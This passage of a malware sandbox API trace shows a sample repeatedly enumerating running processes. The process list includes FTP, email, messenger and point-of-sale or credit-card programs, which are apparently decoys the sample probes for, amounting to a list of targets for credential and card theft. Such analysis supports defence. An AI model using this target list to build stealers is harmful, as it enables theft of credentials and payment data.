th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0263.767] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0263.768] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0263.770] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0263.774] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0263.777] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0263.779] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0263.781] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0263.782] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0263.784] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0263.787] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0263.789] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0263.790] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0263.792] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0263.794] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0263.796] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0263.799] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0263.801] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0263.803] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0263.805] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0263.807] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0263.809] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0263.813] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0263.828] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0263.830] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0263.832] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0263.835] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0263.837] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0263.839] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0263.841] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0263.843] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0263.845] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0263.847] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0263.851] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0263.853] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0263.888] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0263.890] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0263.893] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0263.896] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0263.898] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0263.900] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0263.902] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0263.904] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0263.907] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0263.910] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0263.912] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0263.913] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0263.915] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0263.917] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0263.920] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0263.922] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0263.923] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0263.925] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0263.927] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0263.930] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0263.931] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0263.934] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0263.935] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0263.937] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0263.939] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0263.942] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0263.943] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.945] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0263.946] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.948] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0263.950] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0263.952] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0263.954] CloseHandle (hObject=0x2200) returned 1 [0263.954] Sleep (dwMilliseconds=0x64) [0263.956] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0263.969] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.971] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.976] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.978] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.980] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.983] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.985] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.988] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.993] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.995] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.056] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.059] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.061] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.063] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.065] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.067] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.069] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, 